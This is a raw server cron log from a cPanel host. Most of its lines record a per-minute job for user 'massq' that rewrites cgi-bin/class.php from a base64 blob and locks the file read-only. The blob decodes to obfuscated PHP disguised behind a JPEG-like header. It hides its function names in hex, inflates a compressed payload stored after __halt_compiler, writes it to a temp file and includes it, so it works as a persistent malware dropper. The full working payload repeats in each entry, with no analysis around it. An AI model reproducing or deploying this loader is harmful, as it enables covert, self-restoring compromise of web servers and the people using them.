Nov 12 19:01:01 server CROND[7418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:01:01 server run-parts(/etc/cron.hourly)[7417]: starting 0anacron
Nov 12 19:01:01 server run-parts(/etc/cron.hourly)[7431]: finished 0anacron
Nov 12 19:02:01 server CROND[8251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:03:01 server CROND[9410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:04:01 server CROND[10074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:05:01 server CROND[10905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:05:01 server CROND[10906]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 19:05:01 server CROND[10908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:05:01 server CROND[10907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:06:01 server CROND[11933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:07:01 server CROND[12802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:08:01 server CROND[13801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:09:01 server CROND[14656]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 19:09:01 server CROND[14657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:10:01 server CROND[15521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 19:10:01 server CROND[15522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 19:10:01 server CROND[15527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:10:01 server CROND[15526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 19:11:01 server CROND[16430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:12:01 server CROND[17158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 19:12:01 server CROND[17159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 19:13:01 server CROND[17711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
